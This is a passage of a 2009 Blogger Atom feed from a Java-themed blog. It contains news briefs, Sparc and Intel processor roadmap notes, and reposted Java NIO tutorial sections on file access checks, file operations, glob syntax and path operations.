quietly till you recall which holiday that was. Yep, it was a Labor Day salute to teen pregnancy. We can't wait till Thanksgiving.&lt;/p&gt;&lt;p class="briefshead"&gt;Zombie rights&lt;/p&gt;&lt;p class="infoboxtextindent"&gt;We hear that filmmaker George A. Romero — perhaps best known for his seminal work, "Night of the Living Dead," although his oeuvre includes several subsequent zombie flicks — believes his latest film will help advance his favorite cause, anti-discrimination. We're not sure which flavor of discrimination Romero is targeting in "Survival of the Dead," &lt;/p&gt;but the plot involves soldiers Patrick O'Flynn and Shamus Muldoon and their platoon escaping to a tropical island, the last safe outpost on a planet overrun by the undead. &lt;p&gt;We suspect Romero is standing up for zombie rights, but the better cause might be the protection of actors from stereotypical Irish names.&lt;/p&gt;&lt;p class="briefshead"&gt;Cuppa Joe, mate?&lt;/p&gt;&lt;p class="infoboxtextindent"&gt;Remind us not to get sick in Australia. Doctors at Queensland hospitals are so exhausted by their 80-hour shifts, they're making mistakes and, according to a government document on fatigue management, patients are dying. The solution? More java. Actually, the official recommendation was six cups of coffee. Per doctor. &lt;/p&gt;&lt;p&gt;We're not sure what scares us more, sleep-deprived physicians or surgeons with really shaky hands. Perhaps those Turkish military police could rescue the docs too. Or at least their patients.&lt;/p&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-733759822293544521?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/733759822293544521/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=733759822293544521' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/733759822293544521'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/733759822293544521'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/spin-cycle-big-brother-zombies-and-java.html' title='Spin Cycle: Big Brother, zombies and java'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-6617703031618973460</id><published>2009-09-14T18:10:00.001-07:00</published><updated>2009-09-14T18:11:53.950-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>A long way off in late 2010 or early 2011</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_VyTCyizqrHs/Sq7jlXxaseI/AAAAAAAAE9M/_h9cdxbcv6I/s400/sun_sparc_roadmap.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 267px;" src="http://4.bp.blogspot.com/_VyTCyizqrHs/Sq7jlXxaseI/AAAAAAAAE9M/_h9cdxbcv6I/s400/sun_sparc_roadmap.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;span id="fullpost"&gt;A long way off in late 2010 or early 2011, the Sparc Enterprise server lineup gets a speed boost to 3 GHz with the Jupiter-E chips.&lt;br /&gt;&lt;br /&gt;After that, in 2012, Sun has made no commitment to the kicker line of Fujitsu "Advanced Product Line 2" servers coming from Fujitsu. These APL2 machines are presumably to be based on the "Venus" eight-core Sparc64-VIII processor, which has a Sparc64-VIIIfx variant aimed at supercomputers. That Sparc64-VIIIfx chip will be used in a 10 petaflops massively parallel machine being built by Fujitsu and paid for by the Japanese government under the 1.2bn Project Keisoku effort.&lt;br /&gt;&lt;br /&gt;All of this is subject to change, and some of it most certainly will once Oracle takes control of Sun.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-6617703031618973460?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/6617703031618973460/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=6617703031618973460' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6617703031618973460'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6617703031618973460'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/long-way-off-in-late-2010-or-early-2011.html' title='A long way off in late 2010 or early 2011'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_VyTCyizqrHs/Sq7jlXxaseI/AAAAAAAAE9M/_h9cdxbcv6I/s72-c/sun_sparc_roadmap.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-572758204334382687</id><published>2009-09-14T18:04:00.000-07:00</published><updated>2009-09-14T18:10:13.806-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Intel and Sun Micro Product Roadmap Updates</title><content type='html'>&lt;a href="http://www.internetnews.com/hardware/article.php/3839081" target="blank"&gt;Intel will use its upcoming Intel Developer Forum to highlight several key developments in its product roadmap -- starting with smaller, more efficient chip designs and specialized applications for its Nehalem line. &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;* Intel will show off "Westmere," the first processors built using a 32 nanometer (nm) manufacturing process.&lt;br /&gt;* CPU manufacturing shrank from 65nm to 45nm to 32nm and next to 22nm.&lt;br /&gt;* The next chip architecture will come in 2010, in the form of the new architecture codenamed "Sandy Bridge," which will also be disclosed at this month's IDF. Intel's roadmap is process shrinkage and then better architecture and then process shrink etc... (tick-tock)&lt;br /&gt;* This new-generation high-k metal gate transistor formula will give Intel "a 3+ year advantage in addressing leaky and energy inefficient transistors," according to a &lt;a href="http://blogs.intel.com/technology/2009/09/intel_news_ahead_of_idf_new_ch.php" target="blanl"&gt;blog post from Intel spokesman Bill Kircos&lt;/a&gt; Intel has shipped &gt;200 million 45nm CPUs using high-k+ metal gate transistors.&lt;br /&gt;* For the first time, Intel has developed a full-featured SoC process technology to complement the CPU-specific technology. This version is for our smarter System on Chip (SoC) product efforts, which emphasize lower power transistors&lt;br /&gt;* Intel NMOS transistors now have 19% performance improvement over their 45nm counterparts and our PMOS transistors now have a 28% performance improvement over their 45nm counterparts.&lt;br /&gt;* Another IDF highlight: Nehalem-based chips codenamed "Jasper Forest" and designed for the embedded and storage sectors. This family of products will bring Nehalem to the embedded market, offering integrated PCI Express (PCIe) and an integrated I/O hub in a dual-processor Xeon processor.&lt;br /&gt;* Nehalem will allow for much faster and denser storage and communications solutions such as IPTV, VoIP, NAS, SAN and wireless radio network controllers&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.theregister.co.uk/2009/09/11/sun_sparc_roadmap_revealed/" target="blank"&gt;The UK Register has information on the Sun Sparc Roadmap.&lt;/a&gt; The 16-core "Rock" UltraSparc-RK processor for Sun's once-and-never "Supernova" line of servers is not on the roadmap. The one-page roadmap is one given Sun's customers - and presumably also Fujitsu's customers - have been shown about the future Sparc processor lineup.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-572758204334382687?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/572758204334382687/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=572758204334382687' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/572758204334382687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/572758204334382687'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/intel-and-sun-micro-product-roadmap.html' title='Intel and Sun Micro Product Roadmap Updates'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-7631769994439426758</id><published>2009-09-10T20:19:00.002-07:00</published><updated>2009-09-10T20:20:24.429-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>Checking a File or Directory</title><content type='html'>&lt;h3 fmstyle="C-Head"&gt;&lt;a name="access"&gt;Checking File Accessibility&lt;/a&gt;&lt;/h3&gt; &lt;p&gt; You have a &lt;code&gt;Path&lt;/code&gt; instance representing a file or directory, but does that file exist on the file system? Is it readable? Writable?  Executable? &lt;/p&gt;&lt;p&gt; To verify that a file exists and that the program can access it as needed, you can use the &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/FileRef.html#checkAccess%28java.nio.file.AccessMode...%29"&gt;&lt;code&gt;checkAccess(AccessMode...)&lt;/code&gt;&lt;/a&gt; method. The varargs argument can be any combination of these &lt;code&gt;AccessMode&lt;/code&gt; options: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;READ&lt;/code&gt; – Checks that the file exists and that the     program has permission to read the file.     On UNIX systems, this option tests the &lt;em&gt;file owner&lt;/em&gt; READ bit &lt;/li&gt;&lt;li&gt;&lt;code&gt;WRITE&lt;/code&gt; – Checks that the file exists and that the     program has permission to write to the file.     On UNIX systems, this tests the &lt;em&gt;file owner&lt;/em&gt; WRITE bit &lt;/li&gt;&lt;li&gt;&lt;code&gt;EXECUTE&lt;/code&gt; – Checks that the file exists and that the     program has permission to execute the file.  For directories on UNIX     file systems, the execute bit must be set in order to access files     or subdirectories.     On UNIX system, this option tests the &lt;em&gt;file owner&lt;/em&gt; EXECUTE bit &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; If &lt;code&gt;checkAccess&lt;/code&gt; is called with no argument, the file's existence is checked.  If all you need to do is verify the file's existence, you could use the &lt;code&gt;exists&lt;/code&gt; or &lt;code&gt;notExists&lt;/code&gt; methods, as described in  &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html#verify"&gt;Verifying the Existence of a File or Directory&lt;/a&gt;. &lt;/p&gt;&lt;p&gt; The following code snippet verifies that a particular file exists and that the program has the ability to execute the file. Note that this snippet assumes that the &lt;code&gt;Path&lt;/code&gt; is a file and not a directory.  You can use the &lt;code&gt;java.nio.file.attributes&lt;/code&gt; package to learn more about the &lt;code&gt;Path&lt;/code&gt;: is it a directory? A regular file? A symbolic link? Later, in &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/fileAttr.html#basic"&gt;Basic File Attributes&lt;/a&gt;, this code snippet is extended to verify that the &lt;code&gt;Path&lt;/code&gt;  locates a regular executable file and only a regular executable file. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;import static java.nio.file.AccessMode.*;&lt;br /&gt;&lt;br /&gt;Path file = ...;&lt;br /&gt;try {&lt;br /&gt;   file.checkAccess(READ, EXECUTE);&lt;br /&gt;} catch (IOException x) {&lt;br /&gt;   //Logic for error condition...&lt;br /&gt;   return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//Logic for executable file...&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  &lt;blockquote&gt;&lt;hr /&gt;&lt;strong&gt;Note:&lt;/strong&gt; Once the &lt;code&gt;checkAccess&lt;/code&gt; method completes, there is no guarantee that the file can be accessed.  A common security flaw in many applications is to perform a check and then access the file.  For more information, use your favorite search engine to look  up &lt;code&gt;TOCTTOU&lt;/code&gt; (pronounced &lt;em&gt;TOCK-too&lt;/em&gt;). &lt;hr /&gt;&lt;/blockquote&gt;  &lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="same"&gt;Checking Whether Two Paths Locate the Same File&lt;/a&gt;&lt;/h3&gt; &lt;p&gt; When you have a file system that uses symbolic links, it is possible to have two different paths that locate the same file. The  &lt;a class="TutorialLink" target="_top" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html#isSameFile%28java.nio.file.Path%29"&gt;&lt;code&gt;isSameFile(Path)&lt;/code&gt;&lt;/a&gt; method compares two paths to determine if they locate the same file on the file system. For example:  &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;Path p1 = ...;&lt;br /&gt;Path p2 = ...;&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;   if (p1.isSameFile(p2)) {&lt;br /&gt;       //Logic when the paths locate the same file&lt;br /&gt;   }&lt;br /&gt;} catch (IOException x) {&lt;br /&gt;   //Logic for error condition...&lt;br /&gt;   return;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-7631769994439426758?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/7631769994439426758/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=7631769994439426758' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7631769994439426758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7631769994439426758'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/checking-file-or-directory.html' title='Checking a File or Directory'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8225036018900519465</id><published>2009-09-10T20:19:00.001-07:00</published><updated>2009-09-10T20:19:42.288-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>File Operations</title><content type='html'>The &lt;code&gt;Path&lt;/code&gt; class offers a rich set of methods  for reading, writing, and manipulating files and directories. Before proceeding to the remaining sections, you should familiarize yourself with the following common concepts: &lt;p&gt; &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/fileOps.html#exception"&gt;Catching Exceptions&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/fileOps.html#varargs"&gt;Varargs&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/fileOps.html#atomic"&gt;Atomic Operations&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/fileOps.html#chaining"&gt;Method Chaining&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/fileOps.html#fileref"&gt;FileRef Interface&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/fileOps.html#glob"&gt;What &lt;em&gt;Is&lt;/em&gt; a Glob?&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;  &lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="exception"&gt;Catching Exceptions&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;  With file I/O, unexpected conditions are a fact of life: a file exists (or doesn't exist) when expected, the program doesn't have access to the file system, the default file system implementation does not support a particular function, and so on. Numerous errors can be encountered. &lt;/p&gt;&lt;p&gt; All methods that access the file system can throw an &lt;code&gt;IOException&lt;/code&gt;. It is best practice to catch these exceptions by embedding these methods into a &lt;code&gt;try&lt;/code&gt; block and to catch any exceptions in a &lt;code&gt;catch&lt;/code&gt; block. Most of the examples in this lesson follow this protocol. Also, if your code has opened any streams or channels, you should  close them in a &lt;code&gt;finally&lt;/code&gt; block. &lt;/p&gt;&lt;p&gt; In addition to &lt;code&gt;IOException&lt;/code&gt;, many specific exceptions extend  &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/FileSystemException.html"&gt;&lt;code&gt;FileSystemException&lt;/code&gt;&lt;/a&gt;.  This class has some useful methods that return the file involved &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/FileSystemException.html#getFile%28%29"&gt;(&lt;code&gt;getFile&lt;/code&gt;)&lt;/a&gt;, the detailed message string &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/FileSystemException.html#getMessage%28%29"&gt;(&lt;code&gt;getMessage&lt;/code&gt;)&lt;/a&gt;, the reason why the file system operation failed &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/FileSystemException.html#getReason%28%29"&gt;(&lt;code&gt;getReason&lt;/code&gt;)&lt;/a&gt;, and the "other" file involved, if any &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/FileSystemException.html#getOtherFile%28%29"&gt;(&lt;code&gt;getOtherFile&lt;/code&gt;)&lt;/a&gt;. &lt;/p&gt;&lt;p&gt; The following code snippet shows how the &lt;code&gt;getFile&lt;/code&gt; method might be used: &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;try {&lt;br /&gt;   ...   &lt;br /&gt;} catch (NoSuchFileException x) {&lt;br /&gt;   System.err.format("%s does not exist\n", x.getFile());&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; &lt;p&gt; For more information, see &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/exceptions/handling.html"&gt;Catching and Handling Exceptions&lt;/a&gt;.  &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="varargs"&gt;Varargs&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;  Several &lt;code&gt;Path&lt;/code&gt; methods accept an arbitrary number of arguments when flags are specified. For example, in the following method signature, the ellipses notation after the &lt;code&gt;CopyOption&lt;/code&gt; argument indicates that the method accepts a variable number of arguments, or &lt;em&gt;varargs&lt;/em&gt;, as they are typically called: &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;Path moveTo(Path, &lt;b&gt;CopyOption...&lt;/b&gt;)&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; &lt;p&gt; When a method accepts a varargs argument, you can pass it a comma-separated list of values or an array (&lt;code&gt;CopyOption[]&lt;/code&gt;) of values. &lt;/p&gt;&lt;p&gt; In the &lt;code&gt;moveTo&lt;/code&gt; example, the method can be invoked as follows: &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;import static java.nio.file.StandardCopyOption.*;&lt;br /&gt;&lt;br /&gt;Path orig = ...;&lt;br /&gt;Path new = ...;&lt;br /&gt;orig.moveTo(new, REPLACE_EXISTING, ATOMIC_MOVE);&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; &lt;p&gt; For more information about varargs syntax, see  &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/java/javaOO/arguments.html#varargs"&gt;Arbitrary Number of Arguments&lt;/a&gt;.  &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="atomic"&gt;Atomic Operations&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;  Several &lt;code&gt;Path&lt;/code&gt; methods, such as &lt;code&gt;moveTo&lt;/code&gt;,  can perform certain operations atomically in some file systems. &lt;/p&gt;&lt;p&gt; An &lt;em&gt;atomic file operation&lt;/em&gt; is an operation that cannot be interrupted or "partially" performed. Either the entire operation is performed or the operation fails. This is important when you have multiple processes operating on the same area of the file system, and you need to guarantee that each process accesses a complete file.  &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="chaining"&gt;Method Chaining&lt;/a&gt;&lt;/h3&gt; &lt;p&gt; Many of the file I/O methods support the concept of &lt;em&gt;method chaining&lt;/em&gt;. &lt;/p&gt;&lt;p&gt; You first invoke a method that returns an object. You then immediately invoke a method on &lt;em&gt;that&lt;/em&gt; object, which returns yet another object, and so on.  Many of the I/O examples use the following technique: &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;String value = Charset.defaultCharset().decode(buf).toString();&lt;br /&gt;UserPrincipal group = file.getFileSystem().getUserPrincipalLookupService().lookupPrincipalByName("me");&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; &lt;p&gt; This technique produces compact code and enables you to avoid declaring temporary variables that you don't need.  &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="fileref"&gt;FileRef Interface&lt;/a&gt;&lt;/h3&gt; &lt;p&gt; The &lt;code&gt;Path&lt;/code&gt; class implements the  &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/FileRef.html"&gt;&lt;code&gt;FileRef&lt;/code&gt;&lt;/a&gt; interface.  The &lt;code&gt;FileRef&lt;/code&gt; interface includes methods for locating a file and accessing that file.  Coverage for the &lt;code&gt;FileRef&lt;/code&gt; methods is woven into the lesson where relevant.  &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="glob"&gt;What &lt;em&gt;Is&lt;/em&gt; a Glob?&lt;/a&gt;&lt;/h3&gt; &lt;p&gt; Two methods in the &lt;code&gt;Path&lt;/code&gt; class accept a glob argument, but what is a &lt;em&gt;glob&lt;/em&gt;?  &lt;/p&gt;&lt;p&gt; You can use glob syntax to specify pattern-matching behavior. &lt;/p&gt;&lt;p&gt; A glob pattern is specified as a string and is matched against other strings, such as directory or file names.  Glob syntax follows several simple rules: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;An asterisk, &lt;code&gt;*&lt;/code&gt;, matches any number of characters (including none). &lt;/li&gt;&lt;li&gt;Two asterisks, &lt;code&gt;**&lt;/code&gt;, works like &lt;code&gt;*&lt;/code&gt; but crosses     directory boundaries.      This syntax is generally used for matching complete paths. &lt;/li&gt;&lt;li&gt;A question mark, &lt;code&gt;?&lt;/code&gt;, matches exactly one character. &lt;/li&gt;&lt;li&gt;Braces specify a collection of subpatterns. For example: &lt;ul&gt;&lt;li&gt;&lt;code&gt;{sun,moon,stars}&lt;/code&gt; matches "sun", "moon", or "stars." &lt;/li&gt;&lt;li&gt;&lt;code&gt;{temp*,tmp*}&lt;/code&gt; matches all strings beginning with "temp" or     "tmp." &lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;li&gt;Square brackets convey a set of single characters or, when the hyphen character (&lt;code&gt;-&lt;/code&gt;) is used, a range of characters. For example: &lt;ul&gt;&lt;li&gt;&lt;code&gt;[aeiou]&lt;/code&gt; matches any lowercase vowel. &lt;/li&gt;&lt;li&gt;&lt;code&gt;[0-9]&lt;/code&gt; matches any digit. &lt;/li&gt;&lt;li&gt;&lt;code&gt;[A-Z]&lt;/code&gt; matches any uppercase letter. &lt;/li&gt;&lt;li&gt;&lt;code&gt;[a-z,A-Z}&lt;/code&gt; matches any uppercase or lowercase letter. &lt;/li&gt;&lt;/ul&gt; Within the square brackets, &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, and &lt;code&gt;\&lt;/code&gt; match themselves. &lt;/li&gt;&lt;li&gt;All other characters match themselves. &lt;/li&gt;&lt;li&gt;To match      &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, or the other special characters,     you can escape them by using the backslash character, &lt;code&gt;\&lt;/code&gt;.     For example:  &lt;code&gt;\\&lt;/code&gt; matches a single backslash, and     &lt;code&gt;\?&lt;/code&gt; matches the question mark. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; Here are some examples of glob syntax: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;*.html&lt;/code&gt; – Matches all strings that end in &lt;em&gt;.html&lt;/em&gt; &lt;/li&gt;&lt;li&gt;&lt;code&gt;???&lt;/code&gt; – Matches all strings with exactly three letters           or digits &lt;/li&gt;&lt;li&gt;&lt;code&gt;*[0-9]*&lt;/code&gt; – Matches all strings containing a numeric value &lt;/li&gt;&lt;li&gt;&lt;code&gt;*.{htm,html,pdf}&lt;/code&gt; – Matches any string ending with         &lt;em&gt;.htm&lt;/em&gt;, &lt;em&gt;.html&lt;/em&gt; or &lt;em&gt;.pdf&lt;/em&gt; &lt;/li&gt;&lt;li&gt;&lt;code&gt;a?*.java&lt;/code&gt; – Matches any string beginning with      &lt;code&gt;a&lt;/code&gt;, followed by at least     one letter or digit, and ending with &lt;em&gt;.java&lt;/em&gt; &lt;/li&gt;&lt;li&gt;&lt;code&gt;{foo*,*[0-9]*}&lt;/code&gt; – Matches any string beginning with     &lt;em&gt;foo&lt;/em&gt; or any string containing a numeric value &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; &lt;/p&gt;&lt;blockquote&gt;&lt;hr /&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you are typing the glob pattern at the keyboard and it contains one of the special characters, you must put the pattern in quotes (&lt;code&gt;"*"&lt;/code&gt;), use the backslash (&lt;code&gt;\*&lt;/code&gt;), or use whatever escape mechanism is supported at the command line. &lt;hr /&gt;&lt;/blockquote&gt; &lt;p&gt; The glob syntax is powerful and easy to use. However, if it is not sufficient for your needs, you can also use a regular expression. For more information, see the &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/regex/index.html"&gt;Regular Expressions&lt;/a&gt; lesson. &lt;/p&gt;&lt;p&gt; For more information about the glob sytnax, see the API specification for the &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/FileSystem.html#getPathMatcher%28java.lang.String%29"&gt;&lt;code&gt;getPathMatcher&lt;/code&gt;&lt;/a&gt; method in the &lt;code&gt;FileSystem&lt;/code&gt; class.         &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8225036018900519465?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8225036018900519465/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8225036018900519465' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8225036018900519465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8225036018900519465'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/file-operations.html' title='File Operations'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-9131968595199265344</id><published>2009-09-10T20:17:00.002-07:00</published><updated>2009-09-10T20:18:56.322-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>Path Operations</title><content type='html'>The  &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html"&gt;&lt;code&gt;Path&lt;/code&gt;&lt;/a&gt; class includes various methods that can be used to obtain information about the path, access elements of the path, convert the path to other forms, or extract portions of a path.  There are also methods for matching the path string and methods for removing redundancies in a path. This lesson addresses these &lt;code&gt;Path&lt;/code&gt; methods, sometimes called &lt;em&gt;syntactic&lt;/em&gt; operations, because they operate on the path itself and don't necessarily access the file system. &lt;p&gt; This section covers the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html#create"&gt;Creating a Path&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html#info"&gt;Retrieving Information About a Path&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html#normal"&gt;Removing Redundancies from a Path&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a 